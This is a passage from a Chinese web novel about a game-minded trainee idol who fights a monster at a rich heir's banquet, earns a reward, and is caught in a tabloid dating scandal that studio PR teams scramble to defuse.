加上大佬会给她的五万块，她离她的第一个小目标——20万买一辆车，还会远吗？
还可以给辛苦的莎莎、莎莎的弟弟李长庚发工资！
这日子眼看是越过越好了呀！
当明星挣工资，也不知道还得多久才能赚到呢，哪里有外快来钱快？果然还是要多多地发展支线任务才行呀！
她在原地清点奖励时，不知何时大小姐已经来到她身边，余烬也还跟着她。
朝晖这家伙丢
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下那么一句话就跑了，他到底不好直接走掉，把殷永宁晾在那里。
再怎么说，那也是白鸽电子的大小姐，也是本场宴会主人姬越的好友，于公于私，她的安全都是极为重要的。
好在大小姐知道他异能强力，且本身也是一位通情达理的人，一番恰到好处的挽留，就让余烬毫无压力不粘锅地丢下自己真正的老板，充当临时保镖来了。
外面警铃大作，安全局姗姗来迟。
看到现场那狂轰乱炸十分熟悉的痕迹，余烬的表情非常精彩。
因为大小姐刚刚对他说：“对外就说是你做的。”
她这是要保朝晖拥有“复制能力”的秘密。
作为交换，余烬的身价会大涨，不管是在异能者圈子，还是演艺圈内，都能获得更多的资源以及一定的人脉。
在危险的污染物手中保护了殷、姬两位小姐少爷，说是史诗级别战绩也不为过啊！
要是余烬自己一个人，可能就不想粘这个锅了。
可他还是贫民窟异能者联合会的骨干成员。
要不是他坚持呆在联合会之内，以他的能力，早就有更好的老板选择招募他了，甚至白皇后其实对他评价也不错。
有了今天这个名头之后，白鸽电子和红星科技虽然知道真相其实是朝晖所为，但表面上依旧会“救命之恩，涌泉相报”，为贫民窟异能者联合会提供一定资源上的帮助。
安全局方面也会为他提供便利。
所以他不会拒绝。
当然了，这些都是“上层”之间的交易，民众是不会知道的。
他们也不担心朝晖会因为被“抢功”而恼怒……她脑子里有这种东西吗？
“白皇后这么喜欢她？”他不禁问。
白皇后是一个讲道理的人，既然让余烬背锅，那么给出的好处也不会太少。
比起物质付出，更难得的是这种保护的心态。
殷永宁挑了挑眉：“只是对于可用之才的欣赏而已。”
可用之才？
话音落下，二人转过头，看见满身鲜血的朝晖踩着被炸得血肉乱飞的掉san污染物尸体，一会儿手舞足蹈、一会儿咬牙切齿地自言自语着，表情时笑时哭，好不热闹。
殷永宁：“……”
余烬：“……”
“朝晖，朝晖？”殷永宁喊她。
“诶？大小姐，我们什么时候回去呀？”
朝晖转过头，沾上血渍和肉末的白净脸蛋上露出一个甜甜的笑容。
那双漂亮的大眼睛是如此纯净，仿佛没有受到丝毫污染的影响。
就是身上大大小小的伤势看得人心惊胆战。
“安全局的人来了，我们先走，让医疗团队给你看看吧。”殷永宁连忙扶住她的肩膀，“这次多亏了你，还能坚持吗现在？”
“我没事，有药吗？”
朝晖拒绝了医疗团队的治疗，拿过一堆回血药胡乱塞进嘴里，把血量回满。
她还记得自己体质异常，不是真正的异能者，万一被检查出问题可能会有麻烦，影响主线的进行。
眼看着朝晖把能吃的不能吃的全塞进嘴里后，身上的伤口以肉眼可见的速度愈合，再换了一套衣服，看起来跟街边的青春女大学生没什么两样。
……她刚才胸前横着一道被蜘蛛啃出来的超级巨大的血口啊！！
殷永宁：“那什么，余烬，你知道吧？”
余烬：“……我不会乱说的。”
62.寰天娱乐（18）
朝晖跟着大小姐出去，看她面带笑容如沐春风地阴阳怪气了安全局警员一番。
警员们表示，他们之所以来晚了，是因为主力部队都在处理另一起事件。
原来就在宴会开始不久以前，洛川市某处也出现了污染物侵袭的问题，于是主力部队纷纷出发前往救助。
那个位置，恰好又在与酒店完全相反的另一个方向，坐落于洛川市的两个斜对角线上。
傻子都知道这里肯定有问题，至于有什么问题，那就不是玩家需要去担心的事情了。
大小姐对她道：“喏，我先把钱转给你，你明天早上还要录制吧？”
又对余烬说：“现在的情况比较混乱，我们这边可能暂时没有人手把小朝送回拍摄场地。你们两个是不是正好顺路？你今晚喝酒了吗？”
余烬表示他没有喝酒，这就带着小朝同志回去。
朝晖无聊地发了会儿呆，系统就提示她完成了支线任务【财阀少爷的家宴】，随后就收到了【来自殷永宁的转账：88888元。】
“！？”
玩家瞪大了眼睛。
“我们之间是公平交易，我也不好给你太多，就是图个吉利吧。”殷永宁不好意思地对她笑笑，“你帮了我这么大的一个忙，以后遇到什么事情，也可以来找我。有机会的话我们再联络呀，可能还需要你保护我的安全呢！”
“好呀好呀！其实你多给我一点我也不介意的，随时找我哦！”
朝晖说着，立刻将大小姐设置为她唯一的置顶好友。
殷永宁：……
虽然她的确有拉拢朝晖的意思，但……
这家伙，给她这么点钱，就能让她的态度变得这么好。但某些时候，却又完全看不出她对大人物们有什么尊敬。
她到底爱不爱钱呢？
真是……唉。
“对了，还有YYUU那个品牌的代言，他们应该已经联系了你的经纪人，到时候你们自己安排吧。”殷永宁补充道。
YYUU就是朝晖今晚穿的小裙子的品牌，可惜那条设计精美的裙子在战斗中变得破破烂烂，已经被丢进垃圾桶。
“嗯嗯。”朝晖眼睛一亮。
没记错的话，代言品牌获得的金钱可不少！
就算去掉要分给公司的一半，也应该挺多的……
想到寰天文化要拿走她一半的钱，朝晖忽然心痛无比，咬牙切齿。
这家公司不仅黑心，甚至还让自家未成年练习生小红遭受了潜规则的待遇。
垃圾公司，迟早把你给扬了！
看见她丰富表情的余烬：“……”
他忽然有种习以为常的淡然，跟他的小老板打了招呼，就带着朝晖进入地下车库，在保镖们的安排下，与其他客人一起有序离场。
这辆车颇为拉风，红色跑车，充满力量感的流畅线条，海鸥门，两扇门向上飞起来的那一刻，朝晖流下了羡慕的口水。
“这车多少钱啊？”她问余烬。
“我这辆不是限量款，比较便宜，不到两百万。”余烬的表情有些别扭，但又透着一种破罐子破摔的坦然，“你应该也听说了吧？我赚得并不多，大头都被公司拿走了。”
“……”
你听听你说得这是人话吗！？
赚得不多？
她忙死忙活一晚上也就赚了88888而已！
跟你们这些该死的208w拼了！！
朝晖嫉妒地问：“你觉得我以后能赚这么多吗？”
“……你好好录节目，我觉得这是十拿九稳的事情。”余烬不愧是pd，这时候还在为节目着想。
好吧，短暂的贫穷是为了更美好的未来……而且现在她的存款骤增，接近10万，已经非常不错了。
至少零食可以随便吃了不是？
此时已接近午夜零点。
坐上副驾驶，跑车一路奔驰，开着开着朝晖表示可以顺便去买点零食。
于是车停在一家二十四小时营业的超市门口。
“我去买一趟，很快回来。”朝晖现在有了钱，说话都多了不少底气。
她要把之前舍不得买的零食统统买两份，不，三份！
另外两份送给莎莎和猫猫室友。
有钱了，就是这么地阔气！
“等等！”
余烬怕朝晖又惹事，干脆道：“我跟你一起，还有你把这个口罩和墨镜戴上。”
不愧是大明星，装备齐全。二人打扮遮掩后，进入超市疯狂地采购了一番，提着大包小包回到车上。
大半夜路上也没什么人，走高速路很快，没过多久他们就回到了《星光训练营》拍摄地。
“你从地库的电梯上去，再回宿舍吧。”余烬说，“我从另一边上去。”
“好，拜拜。”
朝晖提着那堆零食，仿佛提着空气一般轻松，风一样地飞速离开，只留下一个背影。
余烬不知怎么的松了口气。
他揉揉眉心，想缓解今晚各种遭遇带来的疲惫感，但又总觉得自己似乎是忘记了什么事情。
“对了——围脖？”
余烬一拍脑袋，想起来自己因为参加宴会，给手机设置了静音免打扰。
而围脖的事情一出，他又急匆匆跑去宴会厅，后面又一直在当临时保镖，那肯定是不能玩手机的，所以没有继续关注后续发展。
不过，她虽然还没删，但《星光训练营》的人肯定已经上号删掉并澄清了，问题应该不大。
结果他打开手机一看，一百多个未接来电，几乎全都是经纪人或者公司打来的。
这心，不知道为什么忽然就拔凉拔凉的，一股不详的预感油然而生。
他立刻回拨电话给经纪人。
“喂，抱歉，我刚从宴会离开，你也知道那边情况特殊。发生什么事了？”他的声音透着货真价实的疲惫。
经纪人的声音比他还更加疲惫，“你……刚才是不是和朝晖在一起？”
“……怎么了？”
“你自己上网看看吧。”
电话挂掉之后他立刻点开围脖，结果，这个围脖，它崩溃了。
崩溃了！？
#余烬塌房#
#余烬朝晖#
红得发黑的热搜就这样高挂榜首，好不容易加载进来的的余烬看见之后，悬着的心终于是死了。
点进去一看，也不知道是哪个倒霉狗仔还是路人，拍到了几张不甚清晰但依旧能辨认出主角的照片，还被传播出去。
第一张是城堡酒店地库内，朝晖正开门准备上他的红色跑车的样子。
朝晖标志性的短发和修长高挑的身材被红圈画出重点标注，并且下面备注了余烬是车主的证据，包括以前余烬开着这辆车出现的照片等。
这辆车是余烬的私人车辆，绝没有对外公布过，平时出门也很注意隐蔽，所以以前的照片也是偷拍，角度奇葩，似乎来自于花坛。
第二张是超市门口，两个裹得严严实实看不见脸的人提着大包小包正往车上走，但从衣服能看出其中一个就是之前的朝晖。
博主十分细心地标注了另一个人的身高，通过与路灯对比、与朝晖身高差等等信息，分析出这个人身高至少188。
第三张就是朝晖发的那条围脖截图，当然现在原博已经删掉了。
余烬：“……”
不是，这谁啊？
到底是怎么拍到这样的图片的？
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而且拍到他的疑似绯闻照片为什么要发出来！？
就不能去找公司要封口费吗！！！
又是谁在这么短的时间内就发出了这样一篇图文并茂条理清晰的文章！？
他们从超市回来，这一路上总共也没花费一个小时吧？
敢在姬越的生日宴随便拍客人照片，不要命了？
往下一滑，这个博主也透露出给她照片的人是一个余烬的私生粉，跟踪余烬到了酒店，却进不去，只能蹲守地库，于是意外拍下了这么一张照片。
后续那张也是跟踪拍到的。
由于心情非常地愤怒，这名粉丝就把照片发给了爆料的博主，扬言既然余烬敢半夜带女生去酒店开房，她也就不会给他留面子了。
余烬：“……”
蹲守地库，却没被戒备森严的城堡酒店保安发现赶出去，这，是何等样的一位当警察的人才啊……
你为什么想不开要去做私生粉……
余烬所属公司万世娱乐压根就没想要去压这条热搜，置之不理。
经纪人给他回拨电话，沧桑道：“热度爆了，公司的意思是趁机炒作，最后再澄清就行了。”
“……其实我们是在宴会上遇到的，回来正好顺路，就把她捎回来了。真的不是开房啊。”余烬无力地解释。
经纪人说：“谁会信呢？现在公司上层已经联系了朝晖所属公司寰天文化，他们的意思是朝晖蹭了个大的，要找对方要些补偿。”
“……”
余烬有一种难言的有口说不清的感觉。
……
朝晖不知道他的苦恼，回到宿舍后快乐地与猫猫室友分享起零食。
“宴会感觉怎么样？”裴韫笑眯眯地问。
她很容易受到外界影响，所以控制着自己不去看围脖等社交软件，免得看见不好的言论，影响录节目的状态。
而且今晚朝晖不在，她也就没有去练习室，而是在宿舍好好地休息了一会儿，睡了个美容觉。
因此，她对目前的情形可以说是一概不知。
至于朝晖，她的手机也开了静音免打扰，而她除了练习时玩小游戏，基本不碰手机，因此完美错过经纪人的夺命连环call。
她也笑眯眯道：“有很多好吃的！还打了个怪物！”
“怪物！？”
“嗯，你不用担心，总之我保护好了我的老板，她还给我了很多钱～！”
她眼睛亮亮的，“云端能源不会再有空管你的事情了，等我多挣点钱，帮你把违约金付了，你就可以来给我做员工啦。”
裴韫所属公司花田娱乐本就是因为杨帆的施压，才不敢解除与裴韫的合同。
现在嘛，杨帆已经变成了一具尸体，那么想要收获这名员工，只需要正常走流程就好。
朝晖还想着，要不拜托姜局长或者大小姐问问，看能不能利用大佬光环帮她减免一些违约金什么的。
钱再多，也不经花，能省一笔是一笔么！
裴韫听见她的话，一时怔住。
她没有遇到过这样对待她的人，所以一时间不知道该说些什么。
最终，她轻轻地呢喃了一句：
“那太好了……”
“嗯嗯，今天我把精力都用完了，所以要睡一会儿。”朝晖说。
使用【创作】的物品偷别人能力，是需要消耗她的精力值的，现在精力值所剩无几，加上宴会一行确实比较曲折，她玩得有点累，还是得先睡一会儿才能继续精神饱满地迎接明天的练习和录制嘛。
“好，你睡吧。”裴韫说，“我马上也睡了。”
两人安静地躺下，然而没过多久，就被一阵狂暴的敲门声惊醒。
63.寰天娱乐（19）
林月是朝晖的一名粉丝。
昨天晚上睡觉之前，她像往常一样点开围脖准备刷一刷，于是非常巧合地见证了一整个抓马事件的发展过程。
首先，是朝晖没头没脑地发了一条围脖。
【朝晖v：你在哪呢？快来宴会厅一趟，有很重要的事。@余烬】
虽然选手们在训练营内封闭拍摄，理论上来讲自己不可能发围脖，但像是林月这样正和自家宝宝处于“热恋期”的粉丝，当然还是将她设为了特别关注。
林月看见这句话，先是心下一凉，随后便很快反应过来：肯定是工作人员发错了。
许多粉丝和她一样，在评论区留言：“工作人员上错号了吗？”
“公司太不负责任了！！”
果然，大约过了十几分钟，这条围脖便被删除，并且《星光训练营》官方也发表道歉声明，表示犯错的工作人员已受到批评，扣除三个月工资云云。
粉丝们收到安抚，这件事也还没被大范围传播，只有小部分秀粉和5G冲浪的乐子人在吃瓜看戏。
“zh之前不就和yj传过绯闻吗？”
“有人说yj提携过zh。”
余烬粉丝不满地反驳：“节目组炒作你们也信啊？余烬一直堂堂正正非常敬业，他公司怎么样你们又不是不知道，没事别给他扣帽子哈！”
这话，即使不少人非常讨厌嚣张的余烬粉丝，可却也不得不认同。
余烬这位同志，在妖魔鬼怪遍地走，塌房法制咖到处有的演艺圈，算是一直没有什么实质性黑料的敬业艺人。
平时发言、营业什么的，虽然说有些BKing，但那只是人设（？）嘛！
整体来讲，他很有礼貌，情商也不低，像是这次作为《星光训练营》的pd，播出的几期中的表现都很好，还吸引了不少新粉。
而且他长得实在美貌，对自己的管理也很严格，哪怕不是他的粉丝，对着这样一张脸也不好说出重话。
再加上他的所属公司万世娱乐臭名昭著，难免让人对他多了一分怜爱。
林月也觉得是节目组炒作，因此回复道：“节目组拿zh炒作也不是一次两次了。”
结果余烬粉丝回她：“糊咖别来沾边，脸这么大蹭顶流蹭个没完了是吧？蹭到了你就偷着乐吧，别出来蹦哒，抱走余烬不约！”
“……”
林月那个火啊，“噌”一下从脚底直窜天灵盖。
她怒而回复：“我对yj没什么恶感，但假如他哪天真出事了，也肯定是被你们这些粉丝作的！！”
结果对方没回她，这条围脖也没有人再来讨论。
嗯？
什么情况？
没有继续追着她骂？
这，不像是余烬粉丝的风格呀？
她赶紧晃晃脑袋，试图把这抖M般的心态摇走。
随后进首页一刷，刷出来无数营销号如出一辙的文案。
#余烬半夜带女练习生开房#
#余烬塌房#
#余烬私生粉#
#余烬朝晖#
一开始红，最后变黑，慢慢地整个围脖界面卡得动不了，什么都点不开了。
林月：“……啊？”
……
大半夜的，《星光训练营》办公楼内灯火通明，诸多管理层再次齐聚一堂。
大家你看看我，我看看你，看到对方脸上挂着与自己如出一辙的硕大黑眼圈，和匆忙套上一看就是刚从床上被薅起来的凌乱衣服，都不禁露出苦笑。
总导演总策划等人坐在一起，头上没剩几根的头发也没精打采地耷拉下来。
“刚给朝晖擦完屁股……她又给我惹事！！！”
总策划咆哮着，“打电话！立刻给我打电话！万世娱乐呢？寰天文化呢？安全局呢？都联系了吗？”
“都联系了……余烬已经联系上，朝晖还没有消息。”秘书小心翼翼擦了把汗，“他们……是去参加了特殊的宴会，手机不能使用，所以才一直失联。”
负责管理练习生宿舍的人员忙道：“朝晖好像刚刚回到宿舍了。”
“把他们都给我叫过来！！”
工作人员去敲404的门，结果裴韫醒了，朝晖却像是一头死猪，怎么都不醒。
“她没事吧？！”
“她……可能是太累了！有什么事要不您就先联系她的经纪人吧？”裴韫忙解释。
于是，沉睡的朝晖被裴韫和工作人员一起扛到老总们的会议室，恰巧遇见匆匆赶来的卫文谨和伊尔莎。
伊尔莎接过朝晖放在沙发上，裴韫还细心地带了一条小毛毯给她盖着，随后两人就像门神一样坐在朝晖两侧，不经意挡住众人的视线。
其他人：……
众所周知，这两个女生已经算是朝晖亲信，既然大老板没说什么，他们也就不在意她们的旁听了。
很快余烬和他的经纪人也来了。
卫文谨手执一杯特浓咖啡，表情温和中又带着一丝看透尘世的淡然：“情况我已经了解过了，这个绯闻绝对是子虚乌有的事情，我想余烬先生和朝晖应该也只是顺路回来，没错吧？”
余烬也从助理手中接过一杯咖啡，脸色难看中又带着一丝看破红尘的潇洒：“嗯，朝晖说想吃零食，我怕她在超市惹麻烦，才跟她一起下车去买。”
这话一出口，大家就信了九分，问题是粉丝她们会相信吗？
“把余烬、朝晖参加宴会的事公布出去不行吗？”一人提议。
“那是人家的私宴，你不要命了？”总策划说。
却见余烬摇了摇手机：“我刚才问过，殷小姐说看在朝晖的面子上，可以公布。”
“！？”
很快白鸽电子的专业秘书团队就打来电话，表示如果他们需要舆论方面的支持，她们会提供一些帮助，以保证双方各自的权益。
诸多上层面面相觑，背后的冷汗更多了。
余烬……什么时候勾搭上白鸽电子了？
朝晖又是什么时候，能被那位大小姐用出“看在她的面子上”这个词了！？
他们心下后怕，终于也是回过味来，这件事万一处理不好，后果可能会比想象中更加严重。
“这件事情的背后推手是谁？一个小时之内营销号就满天飞。”余烬经纪人道。
总导演阴阴地看了他一眼：“背后推手主要就是余烬的那些对家的所属公司，十来家呢。”
所有人：……
“我们必须保证朝晖的名誉，不能影响到她后续的发展，这是寰天文化方面的立场。”卫文谨立刻道。
至于万世娱乐方面的立场？
余烬和经纪人没话说。
万世娱乐的立场就是没有立场，主打一个敌人进攻我装死，唯恐天下不乱。
严格来讲，这个绯闻对于《星光训练营》来说绝不是坏事，现在节目播放量和热度骤升，吃瓜群众已经把之前播出的几期刷爆，试图剪辑出各种似是而非的、疑似朝晖和余烬有奸情的片段来。
结果他们剪了半天，艰难地发现，……
朝晖和余烬，真的是完全没有半点火花！
在节目中最大的互动，还是“选手公然顶撞”那段内容。
所以他们就更好奇了，这两个人，到底什么情况？
他们是怎么想的暂且不提，节目组公关团队的倒霉员工却不得不立刻开始加班，很快拿出一套澄清的解决方案。
“白鸽电
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子那边表示，虽然不能公布具体是什么样的宴会，但他们明天会发一条围脖，内容大约是很感谢今□□晖和余烬参与了他们的产品介绍会。”
“到时候我们再转发那条围脖，并且澄清二人只是一同前往参加的同事，顺路一起回来就好了。”
啊？
这……真的就是蹭了个大的了！
虽然还是有一些漏洞，但很多时候，官方只要坚称他们是朋友关系，不要拐弯抹角找借口，再提供一个合理的解释，那么大部分粉丝都会愿意相信的。
卫文谨心里惊讶，面上却眉头紧皱：“即使如此也会对朝晖的声誉造成影响，毕竟是半夜双人出行……你们也都知道，舆论对于女性总是会凭白产生更多恶意。朝晖今年才18岁而已，她不应该承受这些。”
大家听了他的话都不禁暗自翻了个白眼。
不应该承受这样？
那她能不能老实点别惹事啊！
要是没有她之前发神经发的那条围脖，他们现在的澄清工作不知道会容易多少倍！！
没想到，最终却是余烬开了口。
余烬说：“我的粉丝什么德行我知道，事后朝晖肯定会面临网络暴力。但这不全是她们的错，万世娱乐对于粉丝的引导有问题，我一直知道，但却做不了什么。”
“这是我的责任，这样吧，其实我公司也不是很在乎我有没有绯闻。晚点我发一条澄清围脖，表明是我主动邀请她一起回来，以我们之间名气的差距，我的话还是有可信度的。”
卫文谨差点没能控制住表情：“这，你可是女团节目的pd，影响不太好吧？”
余烬却摇摇头：“虽然对我的粉丝可能用处并不大，但路人会知道这不是朝晖的问题。对外就说，我非常欣赏她的实力。最次最次，就是我为老不尊去喜欢一个年轻女生呗。”
“黑红，不正是你们节目组想要的炒作方式吗？况且说到底，这也不算什么太大的黑料，白鸽电子的信誉足矣证明我们不是去开房。”
“这……”
以余烬和朝晖的名气、地位、年龄差距，这样一来，虽然还是会有许多人骂朝晖，但火力大部分会被引到余烬头上。
“后续的营销你们比我熟练，怎么扭转舆论，你们和我的经纪人商议吧。”他说。
经纪人：“……”
余烬和公司两方都比较强势，他夹在中间，大部分时候只是充当一个传声筒的角色。
他叹了口气，答应下来。
卫文谨却望向余烬，若有所思。
本来，他非常坚信，朝晖和余烬绝对是清清白白毫无瓜葛，甚至有点仇（？）也说不定。
就朝晖那副样子，信她谈恋爱，还不如信她去把寰天大厦炸了呢：）
可余烬这番话说下来，他心中却又产生了一丝微妙的情绪。
环视一圈，显然与他想法相同的不止一个。
余烬这么一通操作完，反而好像真的对她有点意思一样……
不管怎么样，这种处理方式对于朝晖是更有利的，卫文谨压下心中想法，恢复精英姿态，有条不紊地与其他人商议起后续的各种处理方式。
“YYUU的代言也可以一起公布，这波热度很大，我想品牌方也是愿意的，就说是在产品介绍会上初步达成协议。”
他们热火朝天讨论起来。
余烬交代完自己的安排，便准备离开，刚出门，就见会议室外沙发上，伊尔莎和裴韫一左一右，满眼含泪哈欠打个不停，后面朝晖睡得像一头死猪。
见到他，两个人精神一振，注视着他的眼神，怎么看怎么警惕嫌弃，仿佛他是什么垃圾货色一样。
“……”
余烬沧桑地离开了。
64.寰天娱乐（20）
像是朝晖这种三天两头上热搜，还动不动就搞出一个“爆”的人，懂行的人就会发现，她简直是天生当明星的料子。
现在的圈子里不缺美女帅哥，踏踏实实工作的也不少，但悲哀的是，人们已经被愈发丰富的娱乐方式养刁了胃口，只有新鲜、有趣乃至于猎奇的事件，才能引起他们的好奇心，让他们屈尊点去进去吃瓜看个热闹。
再被骂，也比无人在意的糊糊要好，至少挣到了钱。
老是上热搜，也很败好感，但谁让朝晖上得这些个热搜又都是那么的劲爆呢？
好不好感另说，工作生活已经这么疲惫了，不找乐子哪里行，还是先进去吃个瓜吧！
周日的晚上，也就是所谓“塌房照片”放出的时候，短短一个小时时间，朝晖围脖底下就被骂了十几万条，人身攻击、p图诅咒等应有尽有，工作人员不得不关闭了她的评论区。
当然，余烬评论区更是不落下风，路人和粉丝在下面吵架，直接吵出几十万楼。
要知道，整个洛川市也不过几千万人口而已。
足可以见到第二天要上班上学的人们戾气是多么深重。
结果当晚，余烬发布一条围脖：
【余烬v：受邀去参加品牌发布会，会议结束后时间很晚，担心安全问题，所以我就邀请朝晖一起坐车回来。只是普通的前后辈关系，我也很欣赏她在节目中展现的实力，恳请大家不要再传播不实消息，谢谢。】
下面第一条评论：“普通前后辈单独坐一辆车回？我信你个鬼！”
当然也有粉丝愿意相信：“#余烬澄清#正主都澄清了能不要再造谣了吗？”
绝大部分人是不会相信的，毕竟，大家对男明星什么德行已经颇有共识。
之前还有信誓旦旦说自己是母胎单身，结果第二天票昌被抓的呢。
要怪，就怪那些不守男德的前辈吧。
随后，第二天一早，节目组背后番茄台的公关团队开始发力。
先是转发白鸽电子的官方围脖，证实“去酒店是为了秘密发布会”一事。
那可是白鸽电子！
她们官方出台的公告，几乎不可能作假。
接下来，番茄台、寰天娱乐等都各自发布公告为二人澄清，表示他俩真的是朋友，只是顺路。
公关团队聘请的推手出马，写了一些带节奏的分析贴，内容大致是“真谈恋爱不会这么明目张胆吧？”“肯定又是寰天或者节目组炒cp，他们最喜欢这样做了！”“又没有什么实锤，别被公司耍了！”
这仍然不能解释，为什么他们参加活动，不带经纪人和助理，为什么要那么晚了两人独自返回？
那条“你在哪呢？快来宴会厅一趟，有重要的事”，此刻回头再一看，难不成就是指酒店的宴会厅？
真的就是朝晖发的？
什么样的脑子，才会发微博找人啊？
无法解释的地方太多，引起一番轰轰烈烈的争论。
余烬粉丝终于是脱粉不少，因为她们实在不能接受自己的偶像和异性单独乘车。
秀粉只占少数，路人大都持两种态度：
第一种，觉得公司澄清得很快，事情也比较清晰，至于那俩，不管是有点小暧昧还是怎么的，主要也是余烬的问题。
试问，一个是高高在上的顶流，一个是练习生，就像师生恋百分之九十九是老师有问题一样，难不成真有人信“13岁女孩勾引30岁老实男教师？”
二人偶像失职没错，骂一骂也就算了，但余烬粉丝实在太过分，对朝晖的辱骂和人身攻击让人心生反感。
第二种，就是之前不关注偶像或者选秀，被吸引来吃瓜，然后去看了朝晖或者余烬的照片，飞快地沦陷。
“长这样的话，就算是炒作，这cp我也看脸磕一口先。”
也有人发现了华点：“朝晖现在是第三名，已经受邀和余烬一起参加白鸽电子的活动，甚至还拿到了YYUU的代言，她的背景很牛吧？”
“私生粉好可怕，那可是白鸽电子的私密发布会，这也能混进去。”
原博已经光速滑跪删帖，那名私生粉更惨，因为她得罪了姬越，混进了宴会的地下车库还偷拍照片并泄露，这对姬越来说是一种巨大的挑衅。
红星科技与白鸽电子私下达成协议后，将这名私生粉以造谣、泄露隐私等名义□□了。
乱七八糟的新消息让死气沉沉的周一早晨变得富有活力，也让《星光训练营》名气大涨，热度飞升。
大家都想看看这么一档老出奇葩的节目究竟是个什么德行。
节目组赢麻了，余烬想辞职了，粉丝们有的哭有的笑，倒也算是度过了一个充实的早晨。
只有刚刚悠悠醒转的朝晖，什么都不知道。
她真的睡着了，睡得很香，不知道是不是由于她平时根本不睡觉，也没人叫她起床。
猫猫室友不在，应该是已经出去了。
她神清气爽地伸了个懒腰，扒在窗口看了看外面的太阳。
阳光明媚，天色正好，清新的空气让人心旷神怡。
“十点多了……今天没有录制吗？”她习惯性问系统。
“……今天你的录制取消了，节目组让你休息一下。”
“哦，这么贴心？”
朝晖大喜，立刻就道：“正好我想去封锁区看看，能不能多打几个污染物，那我请个假吧。”
系统：……
它委婉提示：“您要不要把静音免打扰关了，然后联系一下经纪人？他似乎有事情找你。”
“好，刚好我要让他帮我请假。”
电话打过去，经纪人的声音憔悴无比：“你醒了？”
“你快来接我一趟，我要去封锁区。”
“……”
卫文谨昨晚一夜没睡，等清晨事情处理完毕，才回家疲惫地洗了个澡。
刚躺在床上睡了不到一个小时，就被催命似的电话铃声吵醒。
然而朝晖找他，他又能怎么办呢？
“……你没有看围脖或者社交软件吧？”
“没有啊，是新投票排名出了吗？”
“不是……算了，你等一等，我帮你请假，让伊尔莎带你过来。”
很快莎莎就把李长庚弟弟叫来，开着他那辆小破车，朝晖大摇大摆离开了拍摄场地。
宿舍管理员：……
节目组现在似乎已经彻底放弃了治疗。
今天本来要录制非常重要的一公舞台准备，还有小组选人什么的，但节目组直接给朝晖放了假，也把今天的录制调整到了明天。
卫文谨猜测，这是因为他们要观察一下网络上的反应，由此调整分组、录制方式等等。
“叫我来什么事啊？”
朝晖熟门熟路带着小妹小弟，不把自己当外人地往经纪人家的沙发上那么一躺，“唉，还是家里好，你不知道，他们那个宴会上虽然有很多好吃的，但是里面的人讨厌死了。”
“……”
卫文谨心里竟然非常诡异地生出一种欣慰和喜悦……
停！
不要被pua啊喂！
一定是他睡眠不足，脑子出问题了。
卫文谨摇摇头，强行恢复理智，给自己冲上一杯咖啡，又给伊尔莎和李长庚拿了些吃的喝的，就像招待亲戚家的小朋友那样。
他左思右想，觉得昨天那一档事，朝晖好像也没有做错什么。
都怪余烬，他那么大个人，在圈子里混了那么多年，自己不注意谨言慎行，把行踪暴露给私生饭，还连累朝晖！
有错的根本就是余烬嘛！
“其实也没什么事，已经解决了。”于是他抿了口咖啡，“对了，你昨天为什么要发那条围脖？”
“啊，是这样的……”
在场的都是自己人，没什么好瞒的，朝晖一
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股脑地把昨天的事情倒了个干净。
三名听众大眼瞪小眼，没想到背后的故事竟然如此曲折。
卫文谨脑子多好使，这么一听，就明白余烬为何帮助朝晖扛舆论。
算是对于白皇后的一个交代吧。
不知道为什么，他松了口气。
“对了，莎莎和小李你们的工资……”
朝晖面露难色，把求助的目光投向经纪人，“我现在存款已经有9万左右，这个这个……要不莎莎月薪两万，小李一万五？会不会太少了？”
九万看起来很多，可她还得存点钱，为猫猫室友的违约金、自己的买车计划做准备。
而且短期内，不知道还能不能有下一笔收入呢！
“！”卫文谨一愣，“这很多了，其实……”
其实少一点也没问题的。
但当着人家姐弟俩的面，他也不好把这话说出来。
“太多了，不用这么多，你自己也要存点钱，买些衣服配饰什么的才行啊。”伊尔莎劝她。
“不行，如果工资没给够，你们跳槽跑了怎么办？”朝晖理直气壮，强行把钱转给他们，“收下吧，放心，我会努力赚钱的！”
跳槽跑了？
他们还能跑哪去？
现在他们根本就是一根绳上的蚂蚱，哪怕朝晖不给他们发工资，他们也不得不给她干活。
李长庚还想说些什么，伊尔莎却将他拦住，对朝晖道：“我们会好好工作的。长庚，我的钱先给你，你过几天去医院一趟吧。”
李长庚异能中的“自愈”效果，是以透支自己的生命力为代价。由于长期没有得到治疗，平时吃的也比较差，他身上有许多旧伤的痕迹没有愈合，身材也很瘦。
“对啊！”
朝晖似乎才想起这件事，“我明天问问大小姐，能不能拜托姬越帮你治好。姬越是治愈系哦，还能回蓝！可惜他没办法成为我的员工……”
昨天姬越离开之前告诉她，为了感谢她的帮助，当她遇到困难的时候可以找他帮一个忙。
朝晖当时就问：“可以给我一百万吗？”
姬越：“……我的人情，你就打算换一百万？！”
“那……一千万！？”朝晖嘴巴长得老大。
“……”
最后是被殷永宁劝了下来，把这个人情放到关键时刻再用。
她说完，卫文谨差点没跳起来。
“姬越的人情，你就换他用一次异能！！？”
“小李，我不是不希望你治好，而是你的伤势去医院也可以治疗的，姬越的人情非常珍贵。”
李长庚已经慌慌张张地摆着手：“我明白，没必要这么做，老板。”
朝晖冷静下来这么一想，也觉得没必要。
这就像是一份自选奖励，她要仔细琢磨一下兑换什么，才能最大化利用。
“好吧，那你记得去医院哦。今天的话，我一会儿开车去一趟封锁区就好，你们就在家里休息吧！”
“……你去封锁区干什么？”卫文谨问。
“杀污染物啊。”
封锁区外围驻扎着军队，但他们只守卫着几个官方关隘。
有些偏僻位置也能进入封锁区，算是官方睁一只眼闭一只眼，许多活不下去的普通人、异能者都会去那边碰碰运气。
他们就像是底层的冒险者。假如能从封锁区内带回“宝物”，就有机会获得大量报酬，甚至一辈子都有了保障，不必再愁吃穿。
“宝物到底是什么？污染物尸体嘛？”朝晖好奇。
她记得最后安全局把大蜘蛛的尸体拖走了，但是看起来并不像是对待什么珍贵物品，只是害怕尸体中剩余的污染影响他人。
“不是。”
“不是的。”
卫文谨和李长庚异口同声，随后互相对视一眼。
“准确来说，他们想要的，是污染物产生的源头。”
65.寰天娱乐（21）
卫文谨道：“源头的污染非常强大，对普通人也能够产生影响，对异能者影响更大。所以非常危险。”
伊尔莎一愣：“为什么对异能者的影响更大？”
卫文谨摇摇头，“我知道的也不多。”
他表情和往常似乎有些不同，朝晖盯着他看了两秒，把他看得非常不自在：“怎么了？”
朝晖说：“没什么。”
